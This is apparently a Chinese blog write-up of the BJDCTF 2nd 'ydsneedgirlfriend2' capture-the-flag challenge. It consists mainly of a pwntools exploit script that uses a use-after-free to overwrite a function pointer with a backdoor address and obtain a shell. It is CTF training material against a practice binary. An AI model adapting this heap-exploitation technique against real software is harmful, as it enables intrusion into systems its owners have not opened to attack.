[BJDCTF 2nd]ydsneedgirlfriend2[use after free]

分手后的思念是犯贱 2023-02-20 12:09 5阅读 0赞

![在这里插入图片描述][20200626171146938.png]  
有符号表，而且直接留了后门！  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70 1]  
exp

from pwn import *                                                                                                                                                                                                   
    
    context(log_level='debug')
    def debug_pause():
        log.info(proc.pidof(p))
        pause()
    
    def add(length, name):
        p.sendlineafter('choice :', str(1))
        p.sendlineafter('the length of her name:', str(length))
        p.sendafter('her name:', name)
    
    def dele(index):
        p.sendlineafter('choice :', str(2))
        p.sendlineafter('Index :', str(index))
        
    def show(index):
        p.sendlineafter('choice :', str(3))
        p.sendlineafter('Index :', str(index))
            
    
    proc_name = './ydsneedgirlfriend2'
    p = process(proc_name)
    # p = remote('node3.buuoj.cn', 25351)
    elf = ELF(proc_name)
    backdoor_addr = 0x400d86
    add(0x80, b'a')
    dele(0)
    add(0x10, p64(0x0) + p64(backdoor_addr))
    # debug_pause()
    show(0)
    p.interactive()

![在这里插入图片描述][20200626191410595.png]

[20200626171146938.png]: https://img-blog.csdnimg.cn/20200626171146938.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70]: https://img-blog.csdnimg.cn/20200626192654732.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg==,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70 1]: https://img-blog.csdnimg.cn/20200626193307938.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg==,size_16,color_FFFFFF,t_70
[20200626191410595.png]: https://img-blog.csdnimg.cn/20200626191410595.png